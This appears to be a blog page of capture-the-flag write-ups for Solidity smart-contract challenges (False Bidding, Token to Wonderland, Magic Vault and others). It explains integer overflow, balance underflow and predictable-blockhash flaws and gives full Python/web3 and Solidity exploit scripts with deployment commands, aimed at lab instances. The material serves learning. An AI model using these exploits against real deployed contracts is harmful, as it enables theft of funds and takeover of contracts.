Blockchain on Zero's Blog

EH4X CTF 2026: Writeup

Wed, 04 Mar 2026 14:00:00 +0700

Overview

This post collects the solved EH4X CTF 2026 challenges and the practical exploitation approach used for each.

Heist V1 (Blockchain)

TL;DR

The vault trusted governance too much. By setting governance to an attacker contract and abusing delegatecall execution, storage got overwritten (admin/paused), then funds could be withdrawn.

HTB - Blockchain: False Bidding

Wed, 25 Feb 2026 01:43:00 +0700

Challenge Summary

Name: False Bidding
Category: Blockchain
Difficulty: Medium
Goal condition: TARGET.keyOwner() == player

Root Causes

Bid threshold overflow in receive gate:
- condition uses uint64(msg.value) >= 2 * topBidder().bid
- set top bid to $2^{63}$ ⇒ 2 * bid wraps to 0 (in uint64 space)
uint32 timeout wraparound:
- every accepted bid does timeout += YEAR
- repeated increments overflow timeout below current timestamp

Exploit Plan

Become top bidder with 2^63 wei.
Alternate zero-value bids between two EOAs (must satisfy msg.sender != topBidder().addr).
Keep extending timeout until it wraps to past time.
Claim prize as top bidder.

Full PoC Script (Python/web3)

#!/usr/bin/env python3
import requests
from web3 import Web3
from eth_utils import keccak
from eth_abi import decode
from eth_account import Account

BASE = "http://<INSTANCE_IP>:<PORT>"
RPC = BASE + "/rpc"

info = requests.get(BASE + "/connection_info", timeout=10).json()
PRIV = info["PrivateKey"]
PLAYER = Web3.to_checksum_address(info["Address"])
TARGET = Web3.to_checksum_address(info["TargetAddress"])
SETUP = Web3.to_checksum_address(info["setupAddress"])

w3 = Web3(Web3.HTTPProvider(RPC))
acctA = w3.eth.account.from_key(PRIV)
acctB = Account.create("false-bidding")

sel_timeout = keccak(text="timeout()")[:4]
sel_top = keccak(text="topBidder()")[:4]
sel_claim = keccak(text="claimPrize()")[:4]
sel_solved = keccak(text="isSolved(address)")[:4]


def call_u256(to, sel):
    return int.from_bytes(w3.eth.call({"to": to, "data": sel}), "big")


def top_bidder():
    r = w3.eth.call({"to": TARGET, "data": sel_top})
    addr, bid = decode(["address", "uint64"], r)
    return Web3.to_checksum_address(addr), int(bid)


def send(acct, to, value=0, data=b"", gas=220000):
    tx = {
        "chainId": w3.eth.chain_id,
        "nonce": w3.eth.get_transaction_count(acct.address),
        "to": to,
        "value": value,
        "data": data,
        "gas": gas,
        "maxFeePerGas": w3.to_wei(2, "gwei"),
        "maxPriorityFeePerGas": w3.to_wei(1, "gwei"),
    }
    stx = acct.sign_transaction(tx)
    h = w3.eth.send_raw_transaction(stx.raw_transaction)
    r = w3.eth.wait_for_transaction_receipt(h)
    return h.hex(), r.status

# fund second EOA for gas
print(send(acctA, acctB.address, value=w3.to_wei(1, "ether"), gas=21000))

# set top bid to 2^63
print(send(acctA, TARGET, value=(1 << 63)))

# overflow timeout with alternating 0-value bids
for i in range(1, 260):
    cur_top, _ = top_bidder()
    nxt = acctB if cur_top.lower() == PLAYER.lower() else acctA
    txh, st = send(nxt, TARGET, value=0, gas=120000)
    if st != 1:
        raise RuntimeError(f"zero-bid failed at step {i}: {txh}")

    tmo = call_u256(TARGET, sel_timeout)
    now = w3.eth.get_block("latest").timestamp
    top, bid = top_bidder()
    if tmo < now and top.lower() == PLAYER.lower():
        print("ready", i, "timeout", tmo, "now", now, "top", top, "bid", bid)
        break

# claim
print(send(acctA, TARGET, data=sel_claim, gas=150000))

solved_raw = w3.eth.call({
    "to": SETUP,
    "data": sel_solved + bytes.fromhex(PLAYER[2:].rjust(64, "0"))
})
print("isSolved:", int.from_bytes(solved_raw, "big") == 1)
print("flag:", requests.get(BASE + "/flag", timeout=10).text)

Flag

HTB{0v32f10w_70_w1n_7h3_4uc710n}

HTB - Blockchain: Token to Wonderland

Wed, 25 Feb 2026 01:42:00 +0700

Challenge Summary

Name: Token to Wonderland
Category: Blockchain
Difficulty: Easy
Goal condition: become owner of item index 2 (Golden Key)

Root Cause

The token contract uses Solidity 0.7 unchecked arithmetic and validates transfer with:

require(fromBalance - amount >= 0, "ERC20: transfer amount exceeds balance");

That condition is broken in 0.7: subtraction underflow wraps instead of reverting.

Exploit Chain

Start with player balance = 100.
Transfer 101 → underflow balance to huge value.
Approve Shop to spend large amount.
Call buyItem(2) for Golden Key.

Full PoC Script (Python/web3)

#!/usr/bin/env python3
import requests
from web3 import Web3
from eth_utils import keccak

BASE = "http://<INSTANCE_IP>:<PORT>"
RPC = BASE + "/rpc"

info = requests.get(BASE + "/connection_info", timeout=10).json()
priv = info["PrivateKey"]
player = Web3.to_checksum_address(info["Address"])
shop = Web3.to_checksum_address(info["TargetAddress"])
setup = Web3.to_checksum_address(info["setupAddress"])

w3 = Web3(Web3.HTTPProvider(RPC))
acct = w3.eth.account.from_key(priv)

# Shop storage slot 1 holds SilverCoin address
slot1 = w3.eth.get_storage_at(shop, 1)
silver = Web3.to_checksum_address("0x" + slot1.hex()[-40:])

sig_transfer = keccak(text="transfer(address,uint256)")[:4]
sig_approve = keccak(text="approve(address,uint256)")[:4]
sig_buy = keccak(text="buyItem(uint256)")[:4]
sig_solved = keccak(text="isSolved(address)")[:4]


def pad32(x: int) -> bytes:
    return x.to_bytes(32, "big")


def pad_addr(a: str) -> bytes:
    return bytes.fromhex(a[2:].rjust(64, "0"))


def send(to, data, gas=180000):
    tx = {
        "chainId": w3.eth.chain_id,
        "nonce": w3.eth.get_transaction_count(player),
        "to": to,
        "value": 0,
        "gas": gas,
        "data": data,
        "maxFeePerGas": w3.to_wei(2, "gwei"),
        "maxPriorityFeePerGas": w3.to_wei(1, "gwei"),
    }
    stx = acct.sign_transaction(tx)
    h = w3.eth.send_raw_transaction(stx.raw_transaction)
    r = w3.eth.wait_for_transaction_receipt(h)
    return h.hex(), r.status

# 1) Underflow
print(send(silver, sig_transfer + pad_addr(shop) + pad32(101), gas=120000))
# 2) Approve
print(send(silver, sig_approve + pad_addr(shop) + pad32(30_000_000), gas=120000))
# 3) Buy key
print(send(shop, sig_buy + pad32(2), gas=180000))

solved_raw = w3.eth.call({"to": setup, "data": sig_solved + pad_addr(player)})
print("isSolved:", int.from_bytes(solved_raw, "big") == 1)
print("flag:", requests.get(BASE + "/flag", timeout=10).text)

Flag

HTB{und32f10w_70_937_7h3_k3y}

HTB - Blockchain: Magic Vault

Wed, 25 Feb 2026 01:41:00 +0700

Challenge Summary

Name: Magic Vault
Category: Blockchain
Difficulty: Easy
Goal condition: make TARGET.mapHolder() != address(TARGET)

Root Cause

unlock(bytes16) depends on internal key material derived from _magicPassword(), where constructor-time passphrase derivation uses:

keccak256(abi.encodePacked(uint256(blockhash(block.timestamp))))

In constructor context, that blockhash path is effectively deterministic for this challenge deployment pattern. Combined with strict but satisfiable bit-layout checks, the lock can be opened reliably.

Exploit Contract (Full PoC)

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

interface IVault {
    function nonce() external view returns (uint256);
    function owner() external view returns (address);
    function unlock(bytes16 _password) external;
    function claimContent() external;
}

contract Exploit {
    IVault public target;
    uint256 private n;

    constructor(address _target) {
        target = IVault(_target);
    }

    function _generateKey(uint256 _reductor) private returns (uint256 ret) {
        ret = uint256(keccak256(abi.encodePacked(uint256(blockhash(block.number - _reductor)) + n)));
        n++;
    }

    function _magicPassword() private returns (bytes8) {
        n = target.nonce();
        uint256 key1 = _generateKey(block.timestamp % 2 + 1);
        uint128 key2 = uint128(_generateKey(2));

        bytes32 passphrase = keccak256(abi.encodePacked(uint256(0)));
        bytes8 secret = bytes8(
            bytes16(
                uint128(
                    uint128(bytes16(bytes32(uint256(uint256(passphrase) ^ key1)))) ^ key2
                )
            )
        );
        return (secret >> 32 | secret << 16);
    }

    function pwn() external {
        uint64 ownerPart = uint64(uint160(target.owner()));
        uint64 secretPart = uint64(_magicPassword());
        bytes16 key = bytes16((uint128(ownerPart) << 64) | secretPart);
        target.unlock(key);
        target.claimContent();
    }
}

Deployment / Execution

forge create --broadcast Exploit.sol:Exploit \
  --rpc-url "$RPC" \
  --private-key "$PRIV" \
  --constructor-args "$TARGET"

cast send "$EXPLOIT_ADDR" "pwn()" --rpc-url "$RPC" --private-key "$PRIV"

Flag

HTB{3ve2yth1n9_15_pu811c_1n_7h3_810ckch41n}

HTB - Blockchain: Honor Among Thieves

Wed, 25 Feb 2026 01:40:00 +0700

Challenge Summary

Name: Honor Among Thieves
Category: Blockchain
Difficulty: Easy
Goal condition: force isSolved(player) == true

This challenge is a good reminder that on-chain history is public and exploitable. Instead of brute-forcing secret material, we used transaction/event intelligence and replayed the winning primitive.

Root Cause

The contract flow leaked enough information via prior chain interactions (logs/calldata context) to recover a valid key used by the target logic.

Blockchain on Zero's Blog

EH4X CTF 2026: Writeup

Overview

Table of Contents

Heist V1 (Blockchain)

TL;DR

HTB - Blockchain: False Bidding

Challenge Summary

Root Causes

Exploit Plan

Full PoC Script (Python/web3)

Flag

HTB - Blockchain: Token to Wonderland

Challenge Summary

Root Cause

Exploit Chain

Full PoC Script (Python/web3)

Flag

HTB - Blockchain: Magic Vault

Challenge Summary

Root Cause

Exploit Contract (Full PoC)

Deployment / Execution

Flag

HTB - Blockchain: Honor Among Thieves

Challenge Summary

Root Cause